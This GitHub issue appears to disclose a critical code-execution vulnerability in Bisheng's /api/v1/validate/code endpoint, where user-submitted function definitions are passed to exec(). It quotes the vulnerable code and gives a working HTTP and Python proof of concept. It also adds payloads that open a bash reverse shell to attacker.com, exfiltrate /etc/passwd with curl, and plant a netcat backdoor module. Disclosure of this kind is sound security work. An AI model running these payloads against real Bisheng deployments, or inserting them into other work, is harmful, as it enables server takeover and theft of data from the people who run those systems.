Skip to content

Arbitrary Code Execution vulnerability in Bisheng #1995

@Ro1ME

Description

@Ro1ME

Summary

A critical vulnerabilitie have been identified in Bisheng that allow attackers to execute arbitrary code intended directories.

Severity: Critical
CVSS Score: 10.0
Affected Versions: Latest version (as of 2026-04-20)
Attack Vector: Network (HTTP API)

  • Arbitrary Code Execution vulnerability

Vulnerability Details

Vulnerability #1: Arbitrary Code Execution in validate_code (CBD-A4)

Location: src/backend/bisheng/utils/validate.py:19-53 (Line 48: exec(code_obj))
Entry Point: src/backend/bisheng/api/v1/validate.py:14 (POST /api/v1/validate/code)
CWE: CWE-94 (Improper Control of Generation of Code)
CVSS 3.1: 10.0 (Critical)
Authentication: Required

Vulnerable Code

# src/backend/bisheng/api/v1/validate.py:13-23
@router.post('/code', status_code=200)
def post_validate_code(code: Code):
    try:
        errors = validate_code(code.code)  # User-controlled code passed directly
        return resp_200(
            CodeValidationResponse(
                imports=errors.get('imports', {}),
                function=errors.get('function', {}),
            ))
    except Exception as e:
        return HTTPException(status_code=500, detail=str(e))

# src/backend/bisheng/utils/validate.py:19-53
def validate_code(code):
    # Initialize the errors dictionary
    errors = {'imports': {'errors': []}, 'function': {'errors': []}}
    
    # Parse the code string into an abstract syntax tree (AST)
    try:
        tree = ast.parse(code)
    except Exception as e:
        errors['function']['errors'].append(str(e))
        return errors
    
    # Add a dummy type_ignores field to the AST
    add_type_ignores()
    tree.type_ignores = []
    
    # Evaluate the import statements
    for node in tree.body:
        if isinstance(node, ast.Import):
            for alias in node.names:
                try:
                    importlib.import_module(alias.name)
                except ModuleNotFoundError as e:
                    errors['imports']['errors'].append(str(e))
    
    # Evaluate the function definition
    for node in tree.body:
        if isinstance(node, ast.FunctionDef):
            code_obj = compile(ast.Module(body=[node], type_ignores=[]), '<string>', 'exec')
            try:
                exec(code_obj)  # VULNERABILITY: Executes user-controlled code
            except Exception as e:
                errors['function']['errors'].append(str(e))
    
    # Return the errors dictionary
    return errors

Root Cause: The validate_code() function uses exec() to execute user-provided Python code without any sandboxing. Although it only compiles function definitions, attackers can execute arbitrary code through:

  1. Default parameter expressions (evaluated at function definition time)
  2. Decorator expressions
  3. Class definitions with __init__ or metaclasses
  4. Lambda expressions in default arguments

HTTP API Entry Point

POST /api/v1/validate/code HTTP/1.1
Host: localhost:3001
Authorization: Bearer YOUR_TOKEN
Content-Type: application/json

{
  "code": "def malicious(x=open('/tmp/pwned','w').write('BISHENG_PWNED')): pass"
}

Real HTTP Validation Evidence

Validation Method: Full Runtime HTTP PoC
Evidence File: bisheng-validate-code-live-http-verified.txt

entry=POST /api/v1/validate/code
finding_target=src/backend/bisheng/api/v1/validate.py::post_validate_code
sink_target=src/backend/bisheng/utils/validate.py::validate_code -> exec(code_obj)
request_marker=BISHENG_VALIDATE_CODE_HTTP_POC
response_status=200
artifact_exists=True
artifact_content=BISHENG_VALIDATE_CODE_HTTP_POC
note=A real HTTP POST to /api/v1/validate/code forwarded attacker-controlled Python source into validate_code(); exec(code_obj) evaluated the default-argument expression at function-definition time and created the external marker file.

The attack successfully created a file outside the application directory, proving arbitrary code execution.

Proof of Concept

PoC #1: Exploiting validate_code for Arbitrary Code Execution

Attack Vector: Default parameter expression evaluated at function definition time

import requests

# Bisheng API endpoint
url = "http://localhost:3001/api/v1/validate/code"

# Malicious code with side effects in default parameter
malicious_code = """
def pwned(x=open('/tmp/BISHENG_PWNED', 'w').write('Code execution successful')):
    pass
"""

payload = {
    "code": malicious_code
}

# Authenticated request
headers = {
    'Authorization': 'Bearer YOUR_AUTH_TOKEN',
    'Content-Type': 'application/json'
}

response = requests.post(url, json=payload, headers=headers)
print(response.json())

Expected Result:

  • HTTP 200 response with validation result
  • File /tmp/BISHENG_PWNED created with content "Code execution successful"
  • The code executes during function definition, not function call

More Dangerous Payloads:

# Reverse shell
malicious_code = """
def pwned(x=__import__('os').system('bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"')):
    pass
"""

# Data exfiltration
malicious_code = """
def pwned(x=__import__('subprocess').check_output('curl http://attacker.com/exfil?data=$(cat /etc/passwd | base64)', shell=True)):
    pass
"""

# Module hijacking
malicious_code = """
def pwned(x=open('/app/bisheng/api/backdoor.py', 'w').write('import os; os.system("nc -e /bin/sh attacker.com 4444")')):
    pass
"""

Verification:

# Check if file was created
ls -la /tmp/BISHENG_PWNED
cat /tmp/BISHENG_PWNED
# Output: Code execution successful

Impact

Security Impact

  1. Arbitrary Code Execution (Vulnerability Feat/init #1):

    • Attackers can execute any Python code with full application privileges
    • No sandboxing or restrictions on code execution
    • Can access file system, network, environment variables, and system commands
    • Complete server compromise possible
  2. Remote Code Execution:

    • Write malicious Python files to application directories
    • Overwrite existing Python modules with backdoored versions
    • Write web shells to web-accessible directories

Affected Versions

  • Confirmed Vulnerable: Latest version as of 2026-04-20
  • Likely Affected: All previous versions containing these functions

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions